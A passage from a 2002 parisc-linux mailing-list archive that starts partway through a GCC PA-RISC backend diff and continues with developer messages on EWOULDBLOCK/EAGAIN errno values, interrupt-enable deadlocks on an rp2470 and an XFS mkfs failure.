+  return output_call (insn, operands[0], 1);
+}"
+  [(set_attr "type" "call")
+   (set (attr "length") (symbol_ref "attr_length_call (insn, 1)"))])
 
 (define_expand "sibcall_value"
-  [(parallel [(set (match_operand 0 "" "")
+  [(set (match_operand 0 "" "")
 		   (call (match_operand:SI 1 "" "")
-			 (match_operand 2 "" "")))
-	      (clobber (reg:SI 0))])]
-  "! TARGET_PORTABLE_RUNTIME"
+			 (match_operand 2 "" "")))]
+  "!TARGET_PORTABLE_RUNTIME"
   "
 {
   rtx op;
@@ -6456,10 +6344,22 @@
 
   op = XEXP (operands[1], 0);
 
-  /* We do not allow indirect sibling calls.  */
-  call_insn = emit_call_insn (gen_sibcall_value_internal_symref (operands[0],
-								 op,
-								 operands[2]));
+  if (TARGET_64BIT)
+    emit_move_insn (arg_pointer_incoming_rtx, arg_pointer_rtx);
+
+  /* Indirect sibling calls are not allowed.  */
+  if (TARGET_64BIT)
+    call_insn
+      = gen_sibcall_value_internal_symref_64bit (operands[0], op, operands[2]);
+  else
+    call_insn
+      = gen_sibcall_value_internal_symref (operands[0], op, operands[2]);
+
+  call_insn = emit_call_insn (call_insn);
+
+  if (TARGET_64BIT)
+    use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), arg_pointer_incoming_rtx);
+
   if (flag_pic)
     {
       use_reg (&CALL_INSN_FUNCTION_USAGE (call_insn), pic_offset_table_rtx);
@@ -6475,32 +6375,34 @@
   [(set (match_operand 0 "" "=rf")
 	(call (mem:SI (match_operand 1 "call_operand_address" ""))
 	      (match_operand 2 "" "i")))
-   (clobber (reg:SI 0))
+   (clobber (reg:SI 1))
    (use (reg:SI 2))
    (use (const_int 0))]
-  ;;- Don't use operand 1 for most machines.
-  "! TARGET_PORTABLE_RUNTIME"
+  "!TARGET_PORTABLE_RUNTIME && !TARGET_64BIT"
   "*
 {
   output_arg_descriptor (insn);
   return output_call (insn, operands[1], 1);
 }"
   [(set_attr "type" "call")
-   (set (attr "length")
-;;       If we're sure that we can either reach the target or that the
-;;	 linker can use a long-branch stub, then the length is at most
-;;	 8 bytes.
-;;
-;;	 For long-calls the length will be at most 68 bytes (non-pic)
-;;	 or 84 bytes (pic).  */
-;;	 Else we have to use a long-call;
-      (if_then_else (lt (plus (symbol_ref "total_code_bytes") (pc))
-			(const_int 240000))
-		    (const_int 8)
-		    (if_then_else (eq (symbol_ref "flag_pic")
-				      (const_int 0))
-				  (const_int 68)
-				  (const_int 84))))])
+   (set (attr "length") (symbol_ref "attr_length_call (insn, 1)"))])
+
+(define_insn "sibcall_value_internal_symref_64bit"
+  [(set (match_operand 0 "" "=rf")
+	(call (mem:SI (match_operand 1 "call_operand_address" ""))
+	      (match_operand 2 "" "i")))
+   (clobber (reg:SI 1))
+   (clobber (reg:SI 27))
+   (use (reg:SI 2))
+   (use (const_int 0))]
+  "TARGET_64BIT"
+  "*
+{
+  output_arg_descriptor (insn);
+  return output_call (insn, operands[1], 1);
+}"
+  [(set_attr "type" "call")
+   (set (attr "length") (symbol_ref "attr_length_call (insn, 1)"))])
 
 (define_insn "nop"
   [(const_int 0)]
@@ -7392,6 +7294,12 @@
   "!TARGET_64BIT"
   "*
 {
+  int length = get_attr_length (insn);
+  rtx xoperands[2];
+
+  xoperands[0] = GEN_INT (length - 8);
+  xoperands[1] = GEN_INT (length - 16);
+
   /* Must import the magic millicode routine.  */
   output_asm_insn (\".IMPORT $$sh_func_adrs,MILLICODE\", NULL);
 
@@ -7400,60 +7308,24 @@
      First, copy our input parameter into %r29 just in case we don't
      need to call $$sh_func_adrs.  */
   output_asm_insn (\"copy %%r26,%%r29\", NULL);
+  output_asm_insn (\"{extru|extrw,u} %%r26,31,2,%%r31\", NULL);
 
   /* Next, examine the low two bits in %r26, if they aren't 0x2, then
      we use %r26 unchanged.  */
-  if (get_attr_length (insn) == 32)
-    output_asm_insn (\"{extru|extrw,u} %%r26,31,2,%%r31\;{comib|cmpib},<>,n 2,%%r31,.+24\", NULL);
-  else if (get_attr_length (insn) == 40)
-    output_asm_insn (\"{extru|extrw,u} %%r26,31,2,%%r31\;{comib|cmpib},<>,n 2,%%r31,.+32\", NULL);
-  else if (get_attr_length (insn) == 44)
-    output_asm_insn (\"{extru|extrw,u} %%r26,31,2,%%r31\;{comib|cmpib},<>,n 2,%%r31,.+36\", NULL);
-  else
-    output_asm_insn (\"{extru|extrw,u} %%r26,31,2,%%r31\;{comib|cmpib},<>,n 2,%%r31,.+20\", NULL);
+  output_asm_insn (\"{comib|cmpib},<>,n 2,%%r31,.+%0\", xoperands);
+  output_asm_insn (\"ldi 4096,%%r31\", NULL);
 
   /* Next, compare %r26 with 4096, if %r26 is less than or equal to
-     4096, then we use %r26 unchanged.  */
-  if (get_attr_length (insn) == 32)
-    output_asm_insn (\"ldi 4096,%%r31\;{comb|cmpb},<<,n %%r26,%%r31,.+16\",
-		     NULL);
-  else if (get_attr_length (insn) == 40)
-    output_asm_insn (\"ldi 4096,%%r31\;{comb|cmpb},<<,n %%r26,%%r31,.+24\",
-		     NULL);
-  else if (get_attr_length (insn) == 44)
-    output_asm_insn (\"ldi 4096,%%r31\;{comb|cmpb},<<,n %%r26,%%r31,.+28\",
-		     NULL);
-  else
-    output_asm_insn (\"ldi 4096,%%r31\;{comb|cmpb},<<,n %%r26,%%r31,.+12\",
-		     NULL);
+     4096, then again we use %r26 unchanged.  */
+  output_asm_insn (\"{comb|cmpb},<<,n %%r26,%%r31,.+%1\", xoperands);
 
-  /* Else call $$sh_func_adrs to extract the function's real add24.  */
+  /* Finally, call $$sh_func_adrs to extract the function's real add24.  */
   return output_millicode_call (insn,
 				gen_rtx_SYMBOL_REF (SImode,
-					 \"$$sh_func_adrs\"));
+						    \"$$sh_func_adrs\"));
 }"
   [(set_attr "type" "multi")
-   (set (attr "length")
-     (cond [
-;; Target (or stub) within reach
-            (and (lt (plus (symbol_ref "total_code_bytes") (pc))
-                     (const_int 240000))
-                 (eq (symbol_ref "TARGET_PORTABLE_RUNTIME")
-                     (const_int 0)))
-            (const_int 28)
-
-;; Out of reach PIC
-	    (ne (symbol_ref "flag_pic")
-		(const_int 0))
-	    (const_int 44)
-
-;; Out of reach PORTABLE_RUNTIME
-	    (ne (symbol_ref "TARGET_PORTABLE_RUNTIME")
-		(const_int 0))
-	    (const_int 40)]
-
-;; Out of reach, can use ble
-          (const_int 32)))])
+   (set (attr "length") (symbol_ref "attr_length_millicode_call (insn, 20)"))])
 
 ;; On the PA, the PIC register is call clobbered, so it must
 ;; be saved & restored around calls by the caller.  If the call
Index: config/pa/pa32-regs.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa32-regs.h,v
retrieving revision 1.11
diff -u -3 -p -r1.11 pa32-regs.h
--- config/pa/pa32-regs.h	3 Sep 2002 18:01:23 -0000	1.11
+++ config/pa/pa32-regs.h	22 Oct 2002 14:04:22 -0000
@@ -95,6 +95,8 @@
   1, 1, 1, 1, 1, 1, 1, 1, \
   1}
 
+#define CALL_REALLY_USED_REGISTERS CALL_USED_REGISTERS
+
 #define CONDITIONAL_REGISTER_USAGE \
 {						\
   int i;					\
Index: config/pa/pa64-linux.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa64-linux.h,v
retrieving revision 1.3
diff -u -3 -p -r1.3 pa64-linux.h
--- config/pa/pa64-linux.h	22 Sep 2002 19:23:19 -0000	1.3
+++ config/pa/pa64-linux.h	22 Oct 2002 14:04:22 -0000
@@ -18,55 +18,3 @@ along with GNU CC; see the file COPYING.
 the Free Software Foundation, 59 Temple Place - Suite 330,
 Boston, MA 02111-1307, USA.  */
 
-#if 0 /* needs some work :-( */
-/* If defined, this macro specifies a table of register pairs used to
-   eliminate unneeded registers that point into the stack frame.  */
-
-#define ELIMINABLE_REGS							\
-{									\
-  {FRAME_POINTER_REGNUM, STACK_POINTER_REGNUM},				\
-  {ARG_POINTER_REGNUM,	 STACK_POINTER_REGNUM},				\
-  {ARG_POINTER_REGNUM,	 FRAME_POINTER_REGNUM},				\
-}
-
-/* A C expression that returns nonzero if the compiler is allowed to try to
-   replace register number FROM with register number TO.  The frame pointer
-   is automatically handled.  */
-
-#define CAN_ELIMINATE(FROM, TO) 1
-
-/* This macro is similar to `INITIAL_FRAME_POINTER_OFFSET'.  It
-   specifies the initial difference between the specified pair of
-   registers.  This macro must be defined if `ELIMINABLE_REGS' is
-   defined.  */
-#define INITIAL_ELIMINATION_OFFSET(FROM, TO, OFFSET) \
-  do								\
-    {								\
-      int fsize;						\
-								\
-      fsize = compute_frame_size (get_frame_size (), 0);	\
-      if ((TO) == FRAME_POINTER_REGNUM				\
-	  && (FROM) == ARG_POINTER_REGNUM)			\
-	{							\
-	  (OFFSET) = -16;					\
-	  break;						\
-	}							\
-								\
-      if ((TO) != STACK_POINTER_REGNUM)				\
-	abort ();						\
-								\
-      switch (FROM)						\
-	{							\
-	case FRAME_POINTER_REGNUM:				\
-	  (OFFSET) = - fsize;					\
-	  break;						\
-								\
-	case ARG_POINTER_REGNUM:				\
-	  (OFFSET) = - fsize - 16;				\
-	  break;						\
-								\
-	default:						\
-	  abort ();						\
-	}							\
-    } while (0)
-#endif
Index: config/pa/pa64-regs.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/pa64-regs.h,v
retrieving revision 1.10
diff -u -3 -p -r1.10 pa64-regs.h
--- config/pa/pa64-regs.h	4 Sep 2002 18:09:32 -0000	1.10
+++ config/pa/pa64-regs.h	22 Oct 2002 14:04:22 -0000
@@ -48,29 +48,27 @@ Boston, MA 02111-1307, USA.  */
    Reg 0	= 0 (hardware). However, 0 is used for condition code,
                   so is not fixed.
    Reg 1	= ADDIL target/Temporary (hardware).
-   Reg 2	= Return Pointer
+   Reg 2	= Return Pointer, Millicode Return Pointer
    Reg 3	= Frame Pointer
-   Reg 4	= Frame Pointer (>8k varying frame with HP compilers only)
+   Reg 4	= Internal Argument Pointer
    Reg 4-18	= Preserved Registers
-   Reg 19	= Linkage Table Register in HPUX 8.0 shared library scheme.
-   Reg 20-22	= Temporary Registers
-   Reg 23-26	= Temporary/Parameter Registers
+   Reg 19-26	= Temporary/Parameter Registers
    Reg 27	= Global Data Pointer (hp)
-   Reg 28	= Temporary/Return Value register
-   Reg 29	= Temporary/Static Chain/Return Value register #2
+   Reg 28	= Temporary/Return Value register #1
+   Reg 29	= Temporary/Arg Pointer register/Return Value register #2
    Reg 30	= stack pointer
-   Reg 31	= Temporary/Millicode Return Pointer (hp)
+   Reg 31	= Temporary/Static Chain/Millicode Return Pointer register (hp)
 
    Freg 0-3	= Status Registers	-- Not known to the compiler.
    Freg 4-7	= Arguments/Return Value
    Freg 8-11	= Temporary Registers
    Freg 12-21	= Preserved Registers
-   Freg 22-31 = Temporary Registers
+   Freg 22-31	= Temporary Registers
 
 */
 
 #define FIXED_REGISTERS  \
- {0, 0, 0, 0, 0, 0, 0, 0, \
+ {0, 0, 0, 0, 1, 0, 0, 0, \
   0, 0, 0, 0, 0, 0, 0, 0, \
   0, 0, 0, 0, 0, 0, 0, 0, \
   0, 0, 0, 1, 0, 0, 1, 0, \
@@ -89,6 +87,21 @@ Boston, MA 02111-1307, USA.  */
    and the register where structure-value addresses are passed.
    Aside from that, you can include as many other registers as you like.  */
 #define CALL_USED_REGISTERS  \
+ {1, 1, 1, 0, 1, 0, 0, 0, \
+  0, 0, 0, 0, 0, 0, 0, 0, \
+  0, 0, 0, 1, 1, 1, 1, 1, \
+  1, 1, 1, 1, 1, 1, 1, 1, \
+  /* fp registers */	  \
+  1, 1, 1, 1, 1, 1, 1, 1, \
+  0, 0, 0, 0, 0, 0, 0, 0, \
+  0, 0, 1, 1, 1, 1, 1, 1, \
+  1, 1, 1, 1, 		  \
+  /* shift register */    \
+  1}
+
+/* This differs from CALL_USED_REGISTERS only in that GR (4)
+   is not really call used.  */
+#define CALL_REALLY_USED_REGISTERS  \
  {1, 1, 1, 0, 0, 0, 0, 0, \
   0, 0, 0, 0, 0, 0, 0, 0, \
   0, 0, 0, 1, 1, 1, 1, 1, \
Index: config/pa/som.h
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/som.h,v
retrieving revision 1.38
diff -u -3 -p -r1.38 som.h
--- config/pa/som.h	29 Aug 2002 21:16:35 -0000	1.38
+++ config/pa/som.h	22 Oct 2002 14:04:23 -0000
@@ -371,3 +371,7 @@ do {						\
    on the location of the GCC tool directory.  The downside is GCC
    cannot be moved after installation using a symlink.  */
 #define ALWAYS_STRIP_DOTDOT 1
+
+/* Aggregates with a single float or double field should be passed and
+   returned in the general registers.  */
+#define MEMBER_TYPE_FORCES_BLK(FIELD, MODE) (MODE==SFmode || MODE==DFmode)
Index: config/pa/t-pa64
===================================================================
RCS file: /cvsroot/gcc/gcc/gcc/config/pa/t-pa64,v
retrieving revision 1.6
diff -u -3 -p -r1.6 t-pa64
--- config/pa/t-pa64	30 Apr 2002 19:47:38 -0000	1.6
+++ config/pa/t-pa64	22 Oct 2002 14:04:23 -0000
@@ -1,4 +1,4 @@
-TARGET_LIBGCC2_CFLAGS = -fPIC -Dpa64=1 -DELF=1
+TARGET_LIBGCC2_CFLAGS = -fPIC -Dpa64=1 -DELF=1 -mlong-calls
 
 LIB2FUNCS_EXTRA=quadlib.c
 


From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: EWOULDBLOCK vs. EAGAIN
Date: Tue, 22 Oct 2002 08:54:35 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20021022155435.GB5602@tausq.org>
References: <200210221534.JAA28679@udlkern.fc.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621850 15932 80.91.229.3 (22 Nov 2014 02:04:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 22 09:51:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4B998482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 09:51:23 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 568DDCD83C; Tue, 22 Oct 2002 08:54:35 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200210221534.JAA28679@udlkern.fc.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16555

In reference to a message from John Marvin, dated Oct 22:
> OK, I should have checked the archives first. It looks like this issue
> has already come up. In that case we fixed the app. But I'm not comfortable
> with the fact that we are different from every other architecture here.

John, I was refering to the suggestion Carlos made that we can "fix up"
the return value in the syscall return path in glibc. Looks like there
is already precedence for this sort of thing, and that way we retain
binary compatibility with both hppa-linux and potentially with hpux.

> P.S. I know most of you don't care, but the broken app in this case is
> telnetd. It drops connections if you blast too much to stdout.

heh, now that you mention it, this explains some things...:-)

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: EWOULDBLOCK vs. EAGAIN
Date: Tue, 22 Oct 2002 11:58:12 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <200210221558.g9MFwDJj020555@hiauly1.hia.nrc.ca>
References: <200210221534.JAA28679@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621851 15938 80.91.229.3 (22 Nov 2014 02:04:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsm@udlkern.fc.hp.com (John Marvin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 22 09:58:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 03FFB482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 09:58:18 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g9MFwD00020557;
	Tue, 22 Oct 2002 11:58:14 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g9MFwDJj020555;
	Tue, 22 Oct 2002 11:58:13 -0400 (EDT)
In-Reply-To: <200210221534.JAA28679@udlkern.fc.hp.com> from "John Marvin" at Oct 22, 2002 09:34:55 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16556

> Yes, to be completely portable across other Unix flavors, you should
> check for both EAGAIN and EWOULDBLOCK. But it would appear that
> Gnu C library documentation says they should be the same, and they
> ARE the same on all other Linux architectures. So, in my opinion,
> we are broken, not the apps.

I just looked at expect.  It uses 

#ifdef EAGAIN
        case EAGAIN: return "resource temporarily unavailable";
#endif
...
#if defined(EDEADLK) && (!defined(EWOULDBLOCK) || (EDEADLK != EWOULDBLOCK))
        case EDEADLK: return "resource deadlock avoided";
#endif
#if defined(EDEADLOCK) && (!defined(EDEADLK) || (EDEADLOCK != EDEADLK))
	case EDEADLOCK: return "resource deadlock avoided";
#endif
...
#if defined(EWOULDBLOCK) && (!defined(EAGAIN) || (EWOULDBLOCK != EAGAIN))
        case EWOULDBLOCK: return "operation would block";
#endif

This seems portable to me.

I agree that the definition of EWOULDBLOCK should be the same as on
other Linux architectures.  However, I think that apps should work
irrespective of whether they are the same or not.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rp2470 hang...getting closer
Date: Tue, 22 Oct 2002 19:19:12 -0600
Lines: 56
Approved: news@gmane.org
Message-ID: <20021023011912.A23F5482F@dsl2.external.hp.com>
References: <200210220041.SAA17351@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621851 15941 80.91.229.3 (22 Nov 2014 02:04:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 22 19:19:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A23F5482F; Tue, 22 Oct 2002 19:19:12 -0600 (MDT)
In-Reply-To: Message from John Marvin <jsm@udlkern.fc.hp.com> 
   of "Mon, 21 Oct 2002 18:41:48 MDT." <200210220041.SAA17351@udlkern.fc.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16557

John Marvin wrote:
...
> Upon return from
> handle_interruption we turn on the I bit, but then later we disable I and
> Q before calling rfir in the return path from handle_interruption, so this
> is not an issue.

Ah ok - my bad. I should have checked.
When doing any bottom half stuff, I think it should be ok for
I-bit to be enabled.

> Note that we are currently turning the I bit on when we return from
> handle_interruption, so this, so removing the local_irq_enable() is not
> going to actually change any behaviour.

hmmm. It changes the timing a bit but basically you are right.
I'm worried about the nesting of traps/interrupts in this case.
My gut feeling says we never want to enable I-bit for handling faults/traps.
Maybe to enable console output in a kernel_die() code path.

The obvious deadlock sequence to me is:
	spin_lock_irqsave() -> trap -> interrupt -> spin_lock()
or
	spin_lock_irqsave() -> trap -> interrupt/bottom half -> spin_lock()

I use "interrupt" to mean "External Interrupts" as defined by parisc arch.

> I just don't think it is necessary, and the enablement upon return may
> be wrong also.

yeah. I suspect it is.

...
> Now, I've also spent some time looking at the I bit enablement at the head
> of intr_return in entry.S.  I don't think that is correct either.  But
> just removing it is not the correct answer.

Please let me know if (a) you are chasing this down or (b) you
already found the correct answer. I'm very tempted to just try
removing it and see what breaks. I may not be able to debug the
resulting mess though...

...
> Note, I don't think any of this is going to explain the problem specific
> to the rp2470.

When scsi_lock_irqsave() blocks interrupts, we can't take any
external interrupt.  It results in a deadlock.

I'm suspecting that's also what was causing the deadlock on xtime_lock.
I added code to set EIEM to 0 in do_cpu_irq_mask() to avoid that deadlock.
I can't do the same for sym2 driver.

thanks,
grant


From - Thu Nov 08 21:25:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] jfs-1.0.23 as well xfs-cvs break fb console on k-2.4.19-pa22
Date: Wed, 23 Oct 2002 07:54:29 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <3DB57761000002B9@ocpmta8.be.tiscali.com>
References: <200210221536.g9MFaIjM020404@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621851 15942 80.91.229.3 (22 Nov 2014 02:04:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:11 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, mszick@goquest.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 22 23:54:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37AFD482F
	for <parisc-linux@lists.parisc-linux.org>; Tue, 22 Oct 2002 23:54:56 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 184ETW-00023U-00; Wed, 23 Oct 2002 07:54:38 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 23 Oct 2002 07:54:29 +0200
In-Reply-To: <200210221536.g9MFaIjM020404@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16558

Hi Dave,

>
>> On Monday 21 October 2002 11:46 am, John David Anglin wrote:
>> > > it sounds like a gcc bug:
>> >
>> > What does a gcc bug sound like ;-)
>> >
>> > Dave
>> It is an indirect call (Telepathic) -
>> You have to listen for its echo from the programmer's mouth.
>
>Ah, something I have been working on ...
>
Is it in already in gcc-3.2 or gcc-3.3 (snapshot which I would I have to
toolchain?)?

Many thanks for help and attention,
    Joel



From - Thu Nov 08 21:25:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mkfs.xfs (xfsprogs-2.3.5) failled
Date: Wed, 23 Oct 2002 09:30:19 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <3DB5776100000362@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621852 15948 80.91.229.3 (22 Nov 2014 02:04:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dreamind@dreamind.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 23 01:30:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2244A482F
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Oct 2002 01:30:59 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 184Fyc-0007v2-00; Wed, 23 Oct 2002 09:30:50 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 23 Oct 2002 09:30:19 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
